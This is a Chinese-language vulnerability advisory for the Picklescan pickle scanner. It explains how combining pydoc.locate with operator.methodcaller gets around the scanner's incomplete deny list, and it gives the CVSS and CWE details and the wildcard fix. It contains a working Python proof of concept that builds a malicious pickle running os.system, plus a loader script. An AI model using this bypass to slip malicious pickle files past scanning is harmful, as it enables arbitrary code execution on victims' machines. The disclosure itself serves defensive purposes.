Picklescan因存在不完整的禁止输入列表而曝出安全漏洞

本文详细披露了Python pickle安全扫描工具Picklescan中的一个高危安全漏洞。该漏洞因工具维护的不安全函数清单不完整,导致攻击者利用pydoc.locate与operator.methodcaller组合,可绕过检测并执行任意代码,从而造成远程代码执行风险。

漏洞摘要

当前版本的Picklescan扫描器仅阻止pydocoperator模块中的某些特定函数。攻击者可以利用这些被允许模块中的其他函数来绕过检测,最终实现对用户的远程代码执行。具体来说:

  • pydoc.locate:可以动态解析和导入任意模块(例如,将字符串“os”解析为实际的os模块)。
  • operator.methodcaller:允许对对象执行方法。当与已解析的模块对象结合使用时,它可以执行像system这样的函数。

由于locatemethodcaller没有明确列在拒绝清单中,Picklescan会将它们视为“安全”或“可疑”(取决于配置),但不会将其标记为“危险”,从而允许恶意文件绕过安全检查。

概念验证

使用以下提供的脚本创建恶意pickle文件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import pickle
import pydoc
import operator
import os

class ModuleLocator:
    def __init__(self, module_name):
        self.module_name = module_name

    def __reduce__(self):
        return (pydoc.locate, (self.module_name,))

class RCEPayload:
    def __reduce__(self):
        cmd = "notepad" # 在此处放置您的载荷
        mc = operator.methodcaller("system", cmd)
        return (mc, (ModuleLocator("os"),))

def generate_exploit():
    payload = RCEPayload()
    try:
        with open("bypass.pkl", "wb") as f:
            f.write(pickle.dumps(payload))
        print("File 'bypass.pkl' created.")
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    generate_exploit()

生成的载荷不会被Picklescan标记为危险,但实际上是恶意的。使用以下脚本加载pickle文件,演示其影响:

1
2
3
import pickle
print("Loading bypass.pkl...")
pickle.load(open("bypass.pkl", "rb"))

修复方案

对于这些模块的拒绝清单,必须从特定函数升级为通配符(*),表明对这些模块的任何使用都是危险的。

参考信息

漏洞详情

包管理平台: pip 包名: picklescan (pip) 受影响版本: < 0.0.33 已修复版本: 0.0.33 严重性等级: 高危 (CVSS评分: 8.9)

CVSS v4 基础指标

可利用性指标:

  • 攻击向量:网络
  • 攻击复杂度:低
  • 攻击前提条件:无
  • 所需权限:无
  • 用户交互:无

受影响系统影响指标:

  • 机密性影响:高
  • 完整性影响:高
  • 可用性影响:高

后续系统影响指标:

  • 机密性影响:无
  • 完整性影响:无
  • 可用性影响:无

CVSS向量字符串:CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

相关弱点

CWE-ID: CWE-184 - 不完整的禁止输入列表

描述:产品实现了一种保护机制,该机制依赖于一个不被策略允许或需要在进一步处理之前采取其他措施来消除的输入(或输入属性)列表,但该列表不完整。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计